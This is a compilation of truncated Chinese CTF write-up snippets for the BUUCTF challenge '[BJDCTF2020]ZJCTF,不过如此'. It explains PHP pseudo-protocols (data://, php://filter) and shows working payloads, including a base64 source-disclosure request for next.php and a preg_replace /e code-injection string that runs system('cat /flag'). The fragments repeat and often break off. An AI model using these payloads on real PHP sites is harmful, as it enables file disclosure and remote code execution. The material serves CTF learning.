[BJDCTF2020]ZJCTF,不过如此 1<?php23error_reporting(0);4$text=$_GET["text"];5$file=$_GET["file"];6if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){7echo"".file_get_contents($text,'r')."";8if(preg_match("/flag/",$file)){9die("Not now!");10}...
因此,首先需要传入两个参数text和file: text参数必须不为空,内容需要为I have a dream,file参数的内容则在后面的注释里提示我们为next.php,并且file参数里面不能包含/flag/,否则程序会终止 然后如果需要直接读取的话,我们需要通过伪协议base64编码之后输出到页面中 构造payload /?text=php://input&file=php://fi...
看到file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议,来讲一些php伪协议: php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。php://filter读取源代码并进行bas...
get方法可以使用data协议传文件,因此利用data协议绕过。随后就可以用php协议取在include处读取提示的next.php文件: ?text=data://text/plain,Ihave a dream&file=php://filter/read=convert.base64-encode/resource=next.php PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0...
[BJDCTF2020]ZJCTF,不过如此1 [BJDCTF2020]ZJCTF,不过如此1 进⼊题⽬,分析代码 file_get_contents() 把整个⽂件读⼊⼀个字符串中。通过get⽅式传⼊text,file参数,text参数要包含"i have a dream",且file参数正则匹配不能含有flag 看到⽤的是file_get_contents()函数打开text参数,以及后⾯的...
}functiongetFlag(){ @eval($_GET['cmd']); } 分析一下,注意return preg_replace('/(' . $re . ')/ei','strtolower("\1")',$str);具体分析http://www.xinyueseo.com/websecurity/158.html 源码中有个getFlag(),可以利用 next.php?S*=${getFlag()}&cmd=system('cat /flag'); ...
BUUCTF-web类题目:[BJDCTF2020]ZJCTF,不过如此、[ZJCTF 2019]NiZhuanSiWei php反序列化 直接可以看到给出的代码: <?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ ...
BUUCTF:[BJDCTF2020]ZJCTF,不过如此 1. <?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "".file_get_contents($text,'r').""; if(preg_match("/flag/...
BUU [BJDCTF2020]ZJCTF,不过如此 和BUU [ZJCTF 2019]NiZhuanSiWei一样。 ?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php 得到next.php源码。 <?php$id = $_GET['id'];$_SESSION['id'] = $id;function complex($re, $str) {return preg...
写在前边 越来越感觉自己是酸菜鱼。。。全是知识盲区啊 题目在BUU上有复现 解题 直接给出源码 简单分析一下,$text要等于I have a dream,因为这里有 ,所以用text/plain纯文本形式传入,包含了$file,没做过滤,可以用伪协议读取next.ph